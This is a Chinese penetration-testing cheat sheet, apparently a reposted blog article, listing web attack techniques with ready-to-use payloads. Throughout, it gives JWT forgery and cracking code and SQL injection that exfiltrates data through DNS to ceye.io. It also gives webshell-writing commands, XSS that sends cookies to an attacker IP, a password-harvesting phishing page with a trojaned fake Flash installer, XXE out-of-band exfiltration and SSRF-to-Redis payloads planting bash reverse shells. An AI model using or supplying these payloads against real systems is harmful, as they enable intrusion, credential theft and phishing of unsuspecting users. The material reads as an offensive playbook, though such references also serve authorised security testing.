渗透测试突破口之常见打点及漏洞利用

渗透测试突破口之常见打点及漏洞利用
2022-9-1 12:34:48 Author: 白帽子左一(查看原文) 阅读量:40 收藏

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web服务突破

一些存在问题的逻辑

任意用户注册
可爆破用户名
爆破用户名，密码
用户名注入
万能密码
用户名Xss
修改返回包信息，登入他人账户
修改cookie中的参数，如user,adminid等
HTML源码、JS等查看信息搜集一章
后台登录参数修改为注册参数/reg、/register、/sign等
密码重置
1．重置一个账户，不发送验证码，设置验证码为空发送请求。
2．发送验证码，查看相应包
3．验证码生存期的爆破
4．修改相应包为成功的相应包
5．手工直接跳转到校验成功的界面
6．两个账户，重置别人密码时，替换验证码为自己正确的验证码
7．重置别人密码时，替换为自己的手机号
8．重置自己的成功时，同意浏览器重置别人的，不发验证码
9．替换用户名，ID，cookie，token参数等验证身份的参数
10．通过越权修改他人的找回信息如手机/邮箱来重置

JWT攻击手法

https://jwt.io/#debugger-io

未校验签名

将原JWT串解码后修改用户名等身份认证的地方，生成新token发送请求

禁用哈希

Alg代表加密方式，修改用户名等身份认证的地方，把HS256设置为none生成token发送请求，使用python的pyjwt模块

jwt.encode({'user':'admin','arg1':'value1','arg2':'value2'},algorithm='none',key='')

爆破弱密钥

>pip3 install pyjwt
>python3 crack.py

import jwt
    import termcolor    jwt_str = R'token'
    with open('/root/password.txt') as f:
      for line in f:
      key_ = line.strip()
      try:
        jwt.decode(jwt_str,verify=True,key=key_)
        print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
        break
      except(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):
        print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
      except jwt.exceptions.InvalidSignatureError:
        print('\r',' ' * 64, '\r\btry',key_,end='',flush=True)
        continue
    else:
      print('\r','\bnot found.')

注入

注入无列名

http://url/index.php?id=1 order by 6
http://url/index.php?id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
http://url/index.php?id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -

结合dnslog

MYSQL结合dnslog
?id=1' and if((select load_file(concat('\\\\',(select database()),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示数据库
?id=1' and if((select load_file(concat('\\\\',(select schema_name from information_schema.schemata limit {0},1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示表
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='dbname' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=0x1x1x2x limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示字段
?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示数据
?id=1' and if((select load_file(concat('\\\\',(select hex(user) from users limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
MSSQL结合dnslog
查数据
?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';EXEC('master..xp_dirtree "\'%[email protected]%2b'\foobar$"');
Sa密码
?id=1DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';EXEC('master..xp_dirtree"\'[email protected]+'\foobar$"');
执行命令
exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
postgreSQL结合dnslog
?id=1;DROP TABLE IF EXISTS table_output;CREATE TABLE table_output(content text);CREATE OR REPL+ACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;DECLARE query_result TEXT;BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function();
Oracle结合dnslog
?id=1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
?id=1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
?id=1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL;
?id=1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;

拿shell

判断数据库
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
查库
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 --
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 --
查表

import requests
import re
table_list = ['']
    def get_sqlserver_table(table_list, table_num):
        for num in range(0,table_num):
            # print("','".join(table_list))
            sql_str = "and (select top 1 name from [xxxx].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('{}'))>0".format("','".join(table_list))
            url = "http://www.xxxxx.cn/x.aspx?cid=1' {} AND 'aNmV'='aNmV".format(sql_str)
            r = requests.get(url, headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'})
            res = re.search(r'\'(.*)\'', r.content.decode('utf-8'),  re.M|re.I)
            table_name = str(res.group(1))
            table_list.append(table_name)
            print("[{}] - TableName: {}".format(str(r.status_code), table_name))
    if __name__ == "__main__":
        get_sqlserver_table(table_list, 16)

判断是否存在xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
执行命令
;exec master..xp_cmdshell "net user name password /add"—
查看权限
and (select IS_SRVROLEMEMBER('sysadmin'))=1--  //sa
and (select IS_MEMBER('db_owner'))=1--   //  dbo
and (select IS_MEMBER('public'))=1--  //public
站库分离获取服务器IP
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;--
LOG备份
;alter database testdb set RECOVERY FULL --
;create table cmd (a image) --
;backup log testdb to disk = 'c:\wwwroot\shell.asp' with init --
;insert into cmd (a) values ('<%%25Execute(request("chopper"))%%25>')-- 
;backup log testdb to disk = 'c:\wwwroot\shell.asp' –
2000差异备份
;backup database testdb to disk ='c:\wwwroot\bak.bak';--
;create table [dbo].[testtable] ([cmd] [image]);--
;insert into testtable (cmd) values(木马hex编码);--
;backup database testdb to disk='c:\wwwroot\upload\shell.asp' WITH DIFFERENTIAL,FORMAT;--
2005差异备份
;alter/**/database/**/[testdb]/**/set/**/recovery/**/full—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[testdb]/**/to/**/[email protected]/**/with/**/init--
;create/**/table/**/[itpro]([a]/**/image)—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/[email protected]/**/with/**/init--
;insert/**/into/**/[itpro]([a])/**/values(木马hex编码)—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=木马保存路径的SQL_EN编码/**/backup/**/log/**/[testdb]/**/to/**/[email protected]/**/with/**/init--
;drop/**/table/**/[itpro]—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/[email protected]/**/with/**/init--
PostgreSQL写shell
连接
>psql -U dbuser -d exampledb -h 127.0.0.1 -p 5432
查看版本
>select version();
列出数据库
>select datname from pg_database;
列出所有表名
>select * from pg_tables;
读取账号秘密
>select usename,passwd from pg_shadow;
当前用户
>select user;
修改密码
>alter user postgres with password '123456';
列目录
>select pg_ls_dir('/etc');
读文件
>select pg_read_file('postgresql.auto.conf',0,100); #行数
&
>drop table wooyun;
>create table wooyun(t TEXT);
>copy wooyun FROM '/etc/passwd';
>select * from wooyun limit 1 offset 0;
&
>select lo_import('/etc/passwd',12345678);
>select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a;
写文件
create table shell(shell text not null);
insert into shell values($$<?php @eval($_POST[1]);?>$$);
copy shell(shell) to '/var/www/html/shell.php';
&
copy (select '<?php phpinfo();?>') to '/var/www/html/shell.php';
爆破
MSF>use auxiliary/scanner/postgres/postgres_login
执行命令版本8.2以下
>create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
>create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict;
>select system('id');

XSS

打COOKIE
<svg/onload="javascript:document.location.href=('http://xx.xx.xx.xx:7777?cookie='+document.cookie)">
读取HTML
<svg/onload="document.location='http://xx.xx.xx.xx:7777/?'+btoa(document.body.innerHTML)">
读文件
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.location='http://xx.xx.xx.xx:7777/?'+btoa(xmlhttp.responseText);
    }
}
xmlhttp.open("GET","file.php",true);
xmlhttp.send();
">
XSS+SSRF读取服务器文件<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

XSS克隆钓鱼

保存js&css到服务器，登录action改为接受密码的文件action="./pass.php"

<?php //php
      $user=$_POST['username'];
      $pass=$_POST['password'];
      $file=fopen('pass.txt','a+');
      fwrite($file,$user."|"."pass" . "\n");
      fclose($file);
      echo "<script>window.location.href=\"http://192.168.0.1\"</script>\n";
    ?>

构造payload
<script>window.location.href="http://192.168.0.1/login.html"</script>
php –S 0.0.0.0:8080 –t ./

伪造页面钓鱼

方法1
https://github.com/r00tSe7en/Fake-flash.cn
添加xss平台模块
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低，尝试升级后访问该页面！");
window.location.href="http://www.flash.com";
制作自解压捆绑
一个马.exe，一个正常exe，全选，winrar添加到压缩文件，选择创建自解压格式压缩文件，高级->自解压选项，设置解压路径，c:\windows\temp\，设置->解压后运行两个exe文件，模式全部隐藏，更新，解压并更新文件，覆盖所有文件。
ResourceHacker修改文件图标
方法2
if(empty($_COOKIE['flash'])){
    echo '<script>alert("你当前计算机的Flash软件已经很久未更新，将导致无法正常显示界面内容，请下载安装最新版本！");window.location="http://www.flash.cn.xx.com/"</script>';
    setcookie("flash","true",time()+30*2400);
}

CSRF

查看有无token等验证身份的参数，删掉后是否返回正常
查看header中referer,origin参数，删掉后是否返回正常
使用csrftester/burpsuite生成表单，以另一账号和浏览器打开测试
去掉referer中域名后面的文件夹或文件
替换二级域名

php任意文件读取/下载

readfile()、file_get_contents()、fopen()等读文件的函数不严谨，读取文件路径可控，输出内容。
下载配置文件
Redis、Weblogic、ftp、mysql、web配置文件、history文件、数据库配置文件
下载log文件
下载web文件
/1.php?f=../../etc/passwd
/1.php?f=file:///etc/passwd(file://绕过../的防护)
/1.php?f=file:///etc/passwd

php文件包含

函数:

include
require
include_once
require_once

常用协议

file:// — 访问本地文件系统
file协议的工作目录是当前目录，使用file:///wwwroot/1.php等同于./wwwroot/1.php可用于绕过一些情况
php:// — 访问各个输入/输出流（I/O streams）

读取
/1.php?file=php://filter/read=convert.base64-encode/resource=./1.php
写入
/1.php?file=php://filter/write=convert.base64-decode/resource=[file]","base64

Getshell

https://github.com/D35m0nd142/LFISuite

allow_url_include 开启时Getshell

远程文件包含
/1.php?file=http://remote.com/shell.txt
/1.php?file=php://input  POST:<?php phpinfo();?>
或使用curl
>curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>"
或使用data://协议解析base64的代码
/1.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==

allow_url_include 关闭时Getshell

攻击机开启共享
/1.php?file=//attacker/1.php
创建webdav服务，shell文件放入目录包含即可
>docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
Shell文件放入/root/webdav/data
/1.php?file=//attacker/1.php

包含日志文件getshell

Fuzz文件
https://github.com/fuzzdb-project/fuzzdb
https://github.com/danielmiessler/SecLists
https://blog.csdn.net/qq_33020901/article/details/78810035
/1.php?file=<?php phpinfo();?>
/1.php?file=../../../../../../../var/log/apache2/access.log
Win下使用phpstudy
请求/<?php phpinfo();?>
包含错误日志
/1.php?file=C:\phpStudy\Apache\logs\error.log

上传个图片格式的木马直接包含

/1.php?file=/uploadfile/1.jpg

限制后缀时

<?php
$file = $_GET['file'].".php";
include($file);
?><br>
利用伪协议zip，构造一个zip压缩包，打包一个shell.php，将压缩包更名为png

请求/1.php?file=zip://shell.webp%23shell

也可使用phar协议访问
/1.php?file=phar://shell.webp/shell
老版本可以使用%00截断
/etc/passwd%00
(需要 magic_quotes_gpc=off，PHP小于5.3.4有效)
/var/www/%00
/etc/passwd/././././././.[…]/./././././.
(需要 magic_quotes_gpc=off
(php版本小于5.2.8(?)可以成功，linux需要文件名长于4096，windows需要长于256)
点号截断：
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功，只适用windows，点号需要长于256)

phpinfo-LFI 本地文件包含临时文件getshell

利用临时文件删除时间差获取shell
需要一个lfi漏洞+phpinfo页面
在/tmp/目录下生成个密码为f的一句话木马g

修改脚本的phpinfo文件名称

LFI文件

执行
>python getshell.py 192.168.0.108 80 100
80是端口、100是线程

http://192.168.0.110/index.php?file=../../../tmp/g&f=echo%20%271%27

session + lfi getshell

session.upload_progress.enabled启用时，文件上传会产生进度文件
/var/lib/php5/sess_
/var/lib/php/sess_

####LFI SSH Log >ssh ''@192.168.0.107 >http://192.168.0.107/lfi.php?file=/var/log/auth.log&c=ls

RFI&命令注入上线MSF

MSF生成
#use exploit/multi/script/web_delivery
#set target PHP
注入点注入：
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.107:1234/OgsOFaj3yKH'));"
RFI：
http://www.xx.com/file=http://192.168.0.107:1234/OgsOFaj3yKH

XML

XML设计的宗旨是传输数据，而非显示数据
XXE=XML外部实体注入、XML=可扩展标记语言
Xml文件声明
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
DTD为XML的文档类型定义
引入外部DTD
<!DOCTYPE 根元素 SYSTEM "filename">
参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    %file;
]>

XML注入

闭合标签，改写xml文件，用户可控，有拼接代码
<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
若是password可控，拼接代码形成注入
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

XXE

https://github.com/AonCyberLabs/xxe-recursive-download
程序解析XML输入时，未禁止外部实体的加载，造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
判断
回显路径
    <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "test">%remote;]>
DNSLOG
    http://www.dnslog.cn/
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY dtd SYSTEM "http://xxx.dnslog.cn/xxe">]>
<xxe>&dtd;</xxe>
Webdav
    存在webdav可使用PROPPATCH、PROPFIND、 LOCK等请求方法接受xml输入形成xxe
Wsdl使用AWVS测试
挖掘
如遇与xml交互的地方
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [  
<!ENTITY test "this is test"> 
]> 
<root>&test;</root>
看是否输出
检查是否支持外部实体
<?xml version="1.0" encoding="UTF-8"?> 
   <!DOCTYPE ANY [  
   <!ENTITY % foo SYSTEM "http://attacker/evil.xml"> 
   %foo;
]> 
查看你的服务器是否有请求
JSON content-type XXE
修改Content-Type: application/xml
X-Requested-With: XMLHttpRequest
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<参数name>name</参数name>
<参数value>&xxe;</ 参数value>
</root>
有回显读取本地文件
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:////etc/passwd"> ]> 
<creds>&goodies;</creds>
也可去掉文件列目录
file:///root/.sh/id_rsa
特殊字符
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:////tmp/xxx.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> 
%dtd; ]> 
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">
Blind OOB XXE无回显读取
需使用参数实体，引用外部DTD
Payload
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://attacker:9999?p=%file;'>">
列目录
远程payload
<!ENTITY % a SYSTEM "file:///"> <!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://ip:80/%a;'>"> %b; %c;
注入payload
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker:80/1.xml">%remote;]><root/>不同平台支持的协议

执行命令安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令。 ]> &xxe; 内网主机探测可先读取/etc/network/interfaces、/proc/net/arp、/etc/hosts等文件查询IP段使用脚本内网端口扫描

]> 4 可使用burpsuite的intruder模块进行遍历内部DTD利用 Linux %local_dtd; Windows Your DTD code %local_dtd;

<!ENTITY % condition 'aaa)>
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    <!ELEMENT aa (bb'>%local_dtd;
]>
<message>any text</message>
XXE写shell
当XXE支持XSL时
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xml()
{
    System.Net.WebClient webClient = new System.Net.WebClient();
    webClient.DownloadFile("https://x.x.x.x/shell.txt",
                   @"c:\inetpub\wwwroot\shell.aspx");
return "Exploit Success";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>

命令注入

有时应用程序会接受用户提供的输入并作为参数传递给命令行上的工具。将用户提供的输入传递给命令行总是一个坏主意，应该避免。根据操作系统，您可以使用多种技术来执行其他命令，从而允许攻击者获得 RCE
& 
&&
|
||
;
`Command`
$(Command)

Xpath注入

类似sql注入

SSRF

定义
服务端请求伪造
构造一个由服务器发出请求的漏洞
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
成因
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞
挖掘
转码服务
在线翻译
获取超链接的标题等内容进行显示
请求远程服务器资源的地方，图片加载与下载(通过URL地址加载或下载图片)
图片、文章收藏功能
对外发起网络请求的地方，网站采集、网页抓取的地方。
头像 (远程加载头像)
一切要你输入网址的地方和可以输入ip的地方。
数据库内置功能(mongodb的copyDatabase函数)
邮件系统
文件处理
在线处理工具
从URL关键字中寻找：share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

XML

<!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
<!ENTITY % file system "file:///etc/passwd" >
<!ENTITY % d SYSTEM "http://wuyun.org/file?data=%file">
<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin">
<xenc:AgreementMethod Algorithm= "http://wuyun.org/1">
<xenc:EncryptionProperty Target= "http://wuyun.org/2">
<xenc:CipherReference URI= "http://wuyun.org/3">
<xenc:DataReference URI= "http://wuyun.org/4">
<Reference URI="http://wuyun.org/5">
<To xmlns="http://www.w3.org/2005/08/addressing">http://wuyun.org/to</To>
<ReplyTo xmlns="http://www.w3.org/2005/08/addressing">
<Address>http://wuyun.org/rto</Address>
<input message="wooyun" wsa:Action="http://wuyun.org/ip" />
<output message="wooyun" wsa:Action="http://wuyun.org/op" />
<wsp:PolicyReference URI=“http://wuyun.org/pr">
<fed:Federation FederationID="http://wuyun.org/fid">
<fed:FederationInclude>http://wuyun.org/inc</fed:FederationInclude>
<fed:TokenIssuerName>http://wuyun.org/iss</fed:TokenIssuerName>
<mex:MetadataReference>
<wsa:Address>http://wuyun.org/mex</wsa:Address>
</mex:MetadataReference>
<edmx:Reference URI="http://wuyun.org/edmxr">
<edmx:AnnotationsReference URI="http://wuyun.org/edmxa">
<xbrli:identifier scheme="http://wuyun.org/xbr">
<link:roleType roleURI="http://wuyun.org/role">
<stratml:Source>http://wuyun.org/stml</stratml:Source>

数据库

MongoDB

db.copyDatabase('\r\nconfig set dbfilename ssrf\r\nquit\r\n’,'test','10.6.4.166:6379')

PostgresSQL

SELECT dblink_send_query(
 'host=127.0.0.1 
dbname=quit 
user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' 
password=1 port=6379 sslmode=disable', 
'select version();’ 
);

MSSQL

SELECT openrowset('SQLOLEDB', 'server=192.168.1.5;uid=sa;pwd=sa;database=master')
SELECT * FROM OpenDatasource('SQLOLEDB', 'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories

图片处理函数

FFmpeg
concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
ImageMagick
fill 'url(http://wyssrf.wuyun.org)'

攻击

测试代码,需安装phpcurl模块apt-get install php7.0-curl
<?php
echo 'r u ok?';
function curl($url){  
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
对内网、本地进行端口扫描，获取服务的banner 信息
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别，通过访问默认文件实现(如：readme文件)
攻击内外网的 web 应用，主要是使用 GET 参数就可以实现的攻击(如：Struts2，sqli)
读取内网资源(如：利用file协议读取本地文件等)
跳板
无视cdn
利用Redis未授权访问，HTTP CRLF注入实现getshell

文件读取

>curl -v 'http://192.168.0.110/ssrf.php?url=file:///etc/passwd'

?url=php://filter/read=convert.base64-encode/resource=./1.php

端口探测

>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:22/'

>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:6379/info'

SSRF+Redis

>curl -v 'http://192.168.0.112/ssrf.php?url=gopher://192.168.0.120:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.0.108%2f12345%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

302反弹shell

?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=flushall
302.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
?url=http://xxxx/reverse.php?s=dict&ip=10.20.*.*&port=6379&bhost=*.*.*.*&bport=1234
reverse.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dir:/var/spool/cron/
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dbfilename:root
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=save
可设置burp–>intruder指定变量跑。

Mysql

https://github.com/FoolMitAh/mysql_gopher_attack
https://fireshellsecurity.team/isitdtu-friss/

Weblogic SSRF+Redis

探测
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
Redis反弹
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.0.110:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
SSRF+内网Struct2
http://www.xx.com/ssrf.php?url=http://10.1.1.1/action?action?redirect:http://attackerip/

Ueditor SSRF

/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.webp

Discuz

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/imgp/]&formhash=xxoo

探测存活主机

直接访问
http://www.xx.com/ssrf.php?url=http://192.168.0.1

伪造POST请求
>curl -v 'http://www.xx.com/ssrf.php?url=gopher://192.168.0.10:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'

绕过方法

本地绕过
http://127.0.0.1=http://localhost
[::]绕过
http://[::]:80=http://127.0.0.1
@绕过
http://www.xx.com/1.php?url=http://[email protected]:8080
利用短网址
http://tool.chinaz.com/tools/dwz.aspx
http://dwz.cn/
DNS解析
http://www.qq.com.127.0.0.1.xip.io，可解析为127.0.0.1
自己域名设置A记录，指向127.0.0.1
进制转换
127.0.0.1
八进制：0177.0.0.1
十六进制：0x7f.0.0.1
十进制：2130706433
http://www.bejson.com/convert/ip2int/
句号
127。0。0。1
302脚本
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
攻击方ip监听8080
dict协议
dict://www.attack.com:8080/hello:dict等于
ssrf.php?url=http://attack.com/302.php?s=dict&ip=www.attack.com&port=8080&data=hello:dict
Gopher协议
gopher:// www.attack.com:8080/gopher
ssrf.php?url=http://attack.com/302.php?s=gopher&ip=www.attack.com&port=8080&data=gopher
File协议
攻击机新建file.php
<?php
header("Location: file:///etc/passwd");
?>
ssrf.php?url=http://attack.com/file.php

gopher协议的脚本转换

抓取本地测试的正常请求
>socat -v tcp-listen:4444,fork tcp-connect:目标IP:6379

将捕获日志保存txt
使用脚本转换为支持gopher协议的字符串
转换规则
如果第一个字符是>或者< 那么丢弃该行字符串，表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串，表示返回的字符串。
